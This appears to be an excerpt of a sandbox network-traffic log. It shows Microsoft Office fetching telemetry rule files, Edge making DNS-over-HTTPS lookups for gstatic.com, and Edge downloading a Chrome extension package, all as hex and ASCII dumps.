2024-11-23 20:59:37 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 47 67 5d 5b 4c 6c 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120651" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <SR T="2" R="([Gg][Oo][Oo][Gg][Ll][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
68	192.168.2.6	49817	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:59:37 UTC	192	OUT	GET /rules/rule120652v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 20:59:37 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:59:37 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97E6FCDD" x-ms-request-id: 79a9dcb6-201e-003c-1c7b-3b30f9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T205937Z-178bfbc474bbbqrhhC1NYCvw74000000050g00000000nuah x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 20:59:37 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120652" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
69	192.168.2.6	49820	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:59:37 UTC	192	OUT	GET /rules/rule120653v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 20:59:38 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:59:37 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C710B28" x-ms-request-id: c2dc1527-b01e-0053-5db2-3bcdf8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T205937Z-174c587ffdftjz9shC1TEBsh9800000003b0000000008m4a x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 20:59:38 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 49 69 5d 5b 4e 6e 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 54 74 5d 5b 45 65 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120653" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <SR T="2" R="([Ii][Nn][Nn][Oo][Tt][Ee][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
70	192.168.2.6	49828	172.64.41.3	443	7120	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:59:37 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-23 20:59:37 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-23 20:59:38 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Sat, 23 Nov 2024 20:59:37 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e741589ed6f43e2-EWR alt-svc: h3=":443"; ma=86400
2024-11-23 20:59:38 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 01 0e 00 04 8e fb 20 63 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom c)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
71	192.168.2.6	49834	162.159.61.3	443	7120	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:59:37 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-23 20:59:37 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-23 20:59:38 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Sat, 23 Nov 2024 20:59:38 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e74158b0fcf4234-EWR alt-svc: h3=":443"; ma=86400
2024-11-23 20:59:38 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 01 2b 00 04 8e fb 20 63 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom+ c)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
72	192.168.2.6	49838	172.64.41.3	443	7120	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:59:37 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-23 20:59:37 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-23 20:59:38 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Sat, 23 Nov 2024 20:59:38 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e74158b094f4380-EWR alt-svc: h3=":443"; ma=86400
2024-11-23 20:59:38 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 01 22 00 04 8e fb 29 03 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom"))

Session ID	Source IP	Source Port	Destination IP	Destination Port
73	192.168.2.6	49827	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:59:37 UTC	192	OUT	GET /rules/rule120654v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 20:59:38 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:59:38 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:05 GMT ETag: "0x8DC582BA54DCC28" x-ms-request-id: ce4e00c6-401e-00a3-3516-3d8b09000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T205938Z-178bfbc474bgvl54hC1NYCsfuw00000004w000000000k1q3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 20:59:38 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120654" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
74	192.168.2.6	49839	162.159.61.3	443	7120	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:59:37 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-23 20:59:37 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-23 20:59:38 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Sat, 23 Nov 2024 20:59:38 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e74158bf9322395-EWR alt-svc: h3=":443"; ma=86400
2024-11-23 20:59:38 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 00 a0 00 04 8e fa 41 c3 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcomA)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
75	192.168.2.6	49840	172.64.41.3	443	7120	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:59:38 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-23 20:59:38 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-23 20:59:38 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Sat, 23 Nov 2024 20:59:38 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e74158caa46de94-EWR alt-svc: h3=":443"; ma=86400
2024-11-23 20:59:38 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 01 20 00 04 8e fb 28 83 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom ()

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
76	192.168.2.6	49841	172.64.41.3	443	7120	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:59:38 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-23 20:59:38 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
77	192.168.2.6	49833	172.217.19.225	443	7120	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:59:38 UTC	594	OUT	GET /crx/blobs/AW50ZFsLPhJJyx_4ShcDOgcEpJeOc7Vr0kMzfFRoaMfWx4pAgZ0UGF2i9_ei1A7FAHQ-EPFULeBn7F8_SEKhjbpEyKfiidX7GF_6BDOycMeg5w03wjwVQ61hkaEix8WFqmEAxlKa5cmz_tdFr9JtRwdqRu82wmLe2Ghe/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_84_1_0.crx HTTP/1.1 Host: clients2.googleusercontent.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-23 20:59:39 UTC	573	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Content-Length: 138356 X-GUploader-UploadID: AFiumC6yVOwyk7g1jiqsmfjA01qhSbaMtE9VtJmsX1G6BySuuC0waZlyNBEBa1DRoPAH67Pj62KIAH14mg X-Goog-Hash: crc32c=ld9IFg== Server: UploadServer Date: Sat, 23 Nov 2024 16:45:00 GMT Expires: Sun, 23 Nov 2025 16:45:00 GMT Cache-Control: public, max-age=31536000 Age: 15278 Last-Modified: Tue, 19 Nov 2024 16:44:49 GMT ETag: 2373c8b9_cba0b209_e851cacf_d4df989e_81c52a41 Content-Type: application/x-chrome-extension Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-11-23 20:59:39 UTC	817	IN	Data Raw: 43 72 32 34 03 00 00 00 e0 15 00 00 12 ac 04 0a a6 02 30 82 01 22 30 0d 06 09 2a 86 48 86 f7 0d 01 01 01 05 00 03 82 01 0f 00 30 82 01 0a 02 82 01 01 00 9c 5e d1 18 b0 31 22 89 f4 fd 77 8d 67 83 0b 74 fd c3 32 4a 0e 47 31 00 29 58 34 b1 bf 3d 26 90 3f 5b 6a 2c 4c 7a fd d5 6a b0 75 cf 65 5b 49 85 71 2a 42 61 2f 58 dd ee dc 50 c1 68 fc cd 84 4c 04 88 b9 99 dc 32 25 33 5f 6f f4 ae b5 ad 19 0d d4 b8 48 f7 29 27 b9 3d d6 95 65 f8 ac c8 9c 3f 15 e6 ef 1f 08 ab 11 6a e1 a9 c8 33 55 48 fd 7c bf 58 8c 4d 06 e3 97 75 cc c2 9c 73 5b a6 2a f2 ea 3f 24 f3 9c db 8a 05 9f 46 25 11 1d 18 b4 49 08 19 94 80 29 08 f2 2c 2d c0 2f 90 65 35 29 a6 66 83 e7 4f e4 b2 71 14 5e ff 90 92 01 8d d3 bf ca a0 d0 39 a0 08 28 e3 d2 5f d5 70 68 32 fe 10 5e d5 59 42 50 58 66 5f 38 cc 0b 08 Data Ascii: Cr240"0H0^1"wgt2JG1)X4=&?[j,Lzjue[IqBa/XPhL2%3_oH)'=e?j3UH\|XMus[*?$F%I),-/e5)fOq^9(_ph2^YBPXf_8
2024-11-23 20:59:39 UTC	1390	IN	Data Raw: 5f b2 be 56 5f e7 71 3a 5f 86 5f 7f f9 35 7d d5 75 53 5c 9b ff 18 eb af ff 78 3f ab fa d7 9f 7e 5d cf 1f 43 2d ff b3 ba 0c 53 3d 4c bf fe f2 f7 5f 63 f1 50 97 42 ea cf d7 8f b0 2d 4d db 10 dc 36 32 b3 69 2a b3 51 d5 e3 f8 c4 ad eb 39 ef e7 ef dc 9c de 2b 53 3d 89 f4 f8 84 0e 2f 36 3a df cf c2 57 83 c8 90 71 6c 2f 67 fd f9 26 6a a9 79 fc f9 7b af ae 22 8b ce b1 9a fe 7c 1c dc 46 fa 1f e7 f8 7c 9c a3 f6 e3 56 f9 f6 f0 f3 99 aa 77 be 25 74 2e 79 86 2e 3f df 17 26 e2 e2 61 cc 9c 7f 3c d2 6e c2 88 c1 89 f6 53 2b 7c d4 17 3d 05 72 61 c7 0a 84 08 01 b1 27 7d f8 28 82 70 57 fb c2 16 8f d0 39 05 d7 73 e5 43 a3 d8 1f 9f 8e ca b9 96 26 6a 4a 9f 2d 27 13 f6 27 13 a8 ca 42 8d 30 f5 75 3f 2e a5 b9 3b 9f f6 e1 a3 34 9d 7f cf f3 e7 d9 c2 b9 f0 d4 c0 ac e6 90 42 86 4e 5c Data Ascii: _V_q:__5}uS\x?~]C-S=L_cPB-M62i*Q9+S=/6:Wql/g&jy{"\|F\|Vw%t.y.?&a<nS+\|=ra'}(pW9sC&jJ-''B0u?.;4BN\
2024-11-23 20:59:39 UTC	1390	IN	Data Raw: 8e b5 a1 c8 fb ee 81 60 65 eb 98 45 ab ec b5 f7 df 38 3e ce 17 36 8b 4c d7 7b 85 4d 64 18 16 65 b0 90 1e f2 cb 03 4c 8a 00 e1 48 79 96 ec 9b 3d f6 a0 d6 80 10 57 0f 10 60 43 7e af 8e 3f 1c b7 7a ee 1d 59 c2 29 1a 94 12 c6 ec 9e 28 ba 47 74 ea a9 92 fb f2 20 bd f4 20 c3 8a 8a 04 03 ec 56 83 d6 68 aa f5 88 d1 39 0a d6 d7 be fa 7f 68 70 d5 e2 31 37 1a 25 03 f1 55 98 2a 4b bd 68 22 81 eb 25 ad 18 84 19 e6 b8 d7 a1 60 b9 67 e1 89 9c f6 e2 ad 52 d0 c5 a6 dc ad e7 9e dc ca 7f d2 3e 77 87 7d e1 a1 a5 e9 a4 17 9a 04 c0 1e 05 42 14 c6 78 22 8b d6 00 1f f3 28 78 31 13 f3 7e 67 01 4e 72 8a 0f 75 ff 71 5f e5 6f 6d cd bd d1 43 0a 76 99 35 be 4a e5 2d 31 6c 3a 02 10 c5 56 13 ea 1e 23 15 1d 58 74 af 43 75 3d f0 13 03 bc 22 a2 fc ca 82 66 b9 ee fd 2e c5 46 f6 b8 53 d7 bc Data Ascii: `eE8>6L{MdeLHy=W`C~?zY)(Gt Vh9hp17%U*Kh"%`gR>w}Bx"(x1~gNruq_omCv5J-1l:V#XtCu="f.FS
